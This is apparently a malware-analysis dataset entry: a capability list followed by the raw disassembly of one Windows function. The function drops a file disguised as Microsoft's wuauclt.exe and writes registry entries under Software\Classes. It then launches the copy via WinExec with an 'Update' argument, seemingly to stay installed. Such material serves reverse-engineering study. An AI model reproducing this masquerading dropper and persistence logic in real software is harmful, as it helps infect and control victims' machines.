Function at 0x10001270
Capabilities:
Check if file exists
Copy file
Create process on windows
Delete file
Get common file path
Get file attributes
Move file
Query environment variable

Disassembly:
sub esp, 0xa24
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x111]
mov byte [esp + 0x110], bl
mov byte [esp + 0x214], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x215]
mov byte [esp + 0x624], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x625]
mov byte [esp + 0x728], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x729]
mov byte [esp + 0x82c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x82d]
mov byte [esp + 0x318], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x319]
mov byte [esp + 0x520], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x521]
mov byte [esp + 0x930], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x931]
mov byte [esp + 0x41c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x41d]
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x934]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea ecx, [esp + 0x728]
push 0x104
push ecx
push str.CommonProgramFiles
call esi
lea edx, [esp + 0x624]
push 0x104
push edx
push str.APPDATA
call esi
lea eax, [esp + 0x82c]
push 0x104
push eax
push str.TEMP
call esi
mov ecx, dword [str.KUEJUI73OS.AX]
lea edx, [esp + 0x82c]
push ecx
push edx
lea eax, [esp + 0x320]
push str._s_s
push eax
call sub.MSVCRT.dll_sprintf
lea ecx, [esp + 0x940]
lea edx, [esp + 0x530]
push ecx
push str._s_rundll32.exe
push edx
call sub.MSVCRT.dll_sprintf
mov eax, dword [str.mspublic.dll]
lea ecx, [esp + 0x640]
push eax
push ecx
lea edx, [esp + 0x134]
push str._sMicrosoft_s
push edx
call sub.MSVCRT.dll_sprintf
mov eax, dword [str.mspublic.dll]
lea ecx, [esp + 0x754]
push eax
push ecx
lea edx, [esp + 0x248]
push str._sSystem_s
push edx
call sub.MSVCRT.dll_sprintf
add esp, 0x3c
call fcn.10001880
mov ebp, dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x7b10
test eax, eax
mov eax, dword [str.MshtmDevices]
push section..data
push eax
push str.SoftwareClasses
jne 0x100015a3
push 0x80000001
call fcn.100018b0
add esp, 0x14
test al, al
je 0x100016f3
mov ecx, dword [str.mshtm]
mov eax, dword [0x1000c5c4]
mov edx, dword [str.SOFTINFO]
push ecx
and eax, 0xffff
push edx
push eax
push str.SoftwareClasses
push 0x80000001
call fcn.100017e0
add esp, 0x14
test al, al
je 0x100016f3
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea ecx, [esp + 0x110]
push ecx
call esi
cmp eax, 0xffffffff
je 0x100014c8
lea edx, [esp + 0x110]
push edx
call ebp
lea eax, [esp + 0x110]
push eax
call esi
cmp eax, 0xffffffff
je 0x100014f7
lea ecx, [esp + 0x318]
push ecx
call ebp
lea edx, [esp + 0x318]
lea eax, [esp + 0x110]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov ecx, dword [0x1000c5c0]
push 3
push 1
push ecx
push 0x1a63
lea edx, [esp + 0x120]
push 0x1000ab10
push edx
call fcn.10001990
add esp, 0x18
test al, al
je 0x100016f3
lea eax, [esp + 0x624]
lea ecx, [esp + 0x41c]
push eax
push str._sMicrosoftwuauclt.exe
push ecx
call sub.MSVCRT.dll_sprintf
add esp, 0xc
lea edx, [esp + 0x41c]
lea eax, [esp + 0x520]
push ebx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x110]
lea edx, [esp + 0x41c]
stosb byte es:[edi], al
push ecx
push edx
lea eax, [esp + 0x18]
push str.__s____s__Update
push eax
call sub.MSVCRT.dll_sprintf
add esp, 0x10
lea ecx, [esp + 0x10]
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
lea edx, [esp + 0x10]
jmp 0x100016e0
push 0x80000002
call fcn.100018b0
add esp, 0x14
test al, al
je 0x100016f3
mov ecx, dword [str.mshtm]
mov eax, dword [0x1000c5c4]
mov edx, dword [str.SOFTINFO]
push ecx
and eax, 0xffff
push edx
push eax
push str.SoftwareClasses
push 0x80000002
call fcn.100017e0
add esp, 0x14
test al, al
je 0x100016f3
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea ecx, [esp + 0x214]
push ecx
call esi
cmp eax, 0xffffffff
je 0x1000160a
lea edx, [esp + 0x214]
push edx
call ebp
lea eax, [esp + 0x214]
push eax
call esi
cmp eax, 0xffffffff
je 0x10001639
lea ecx, [esp + 0x318]
push ecx
call ebp
lea edx, [esp + 0x318]
lea eax, [esp + 0x214]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov ecx, dword [0x1000c5c0]
push 5
push 1
push ecx
push 0x1a63
lea edx, [esp + 0x224]
push 0x1000ab10
push edx
call fcn.10001990
add esp, 0x18
test al, al
je 0x100016f3
lea eax, [esp + 0x728]
lea ecx, [esp + 0x41c]
push eax
push str._s_systemwuauclt.exe
push ecx
call sub.MSVCRT.dll_sprintf
add esp, 0xc
lea edx, [esp + 0x41c]
lea eax, [esp + 0x520]
push ebx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x214]
lea edx, [esp + 0x41c]
stosb byte es:[edi], al
push ecx
push edx
lea eax, [esp + 0x18]
push str.__s____s__Update
push eax
call sub.MSVCRT.dll_sprintf
add esp, 0x10
lea ecx, [esp + 0x10]
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
lea edx, [esp + 0x10]
push edx
push str.Update
push 0x80000001
call fcn.10001760
add esp, 0xc
lea eax, [esp + 0x318]
push eax
call ebp
lea ecx, [esp + 0x318]
push ecx
push 0x1000c75c
call dword [sym.imp.KERNEL32.dll_MoveFileA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa24
ret